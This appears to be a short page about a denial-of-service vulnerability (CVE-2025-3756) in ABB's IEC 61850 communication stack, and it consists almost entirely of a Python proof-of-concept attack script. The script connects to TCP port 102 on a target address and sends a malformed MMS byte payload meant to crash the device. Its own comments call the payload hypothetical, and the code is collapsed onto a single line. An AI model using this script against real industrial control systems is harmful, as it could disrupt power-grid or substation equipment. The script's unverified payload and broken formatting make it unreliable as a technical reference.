CVE-2025-3756 ABB IEC 61850通信栈拒绝服务漏洞

import socket # This is a generic PoC structure for an IEC 61850 DoS. # Specific packet content (payload) would need to be reverse-engineered # or obtained from vulnerability disclosure details. def send_malicious_packet(target_ip, target_port=102): try: # Create a raw socket or standard TCP socket for IEC 61850 (MMS) # IEC 61850 often uses TCP port 102 (MMS) or specific UDP ports for GOOSE/SV. # Assuming TCP MMS for this example based on typical stack interactions. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Malformed payload designed to trigger the command handling bug # The specific byte sequence is hypothetical. payload = b"\x03\x00\x00\x1b\x02\xf0\x80\x22\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sock.send(payload) print(f"[+] Packet sent to {target_ip}:{target_port}") # Check for response or timeout (indicating potential crash) response = sock.recv(1024) print(f"[!] Received response: {response}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP send_malicious_packet(target)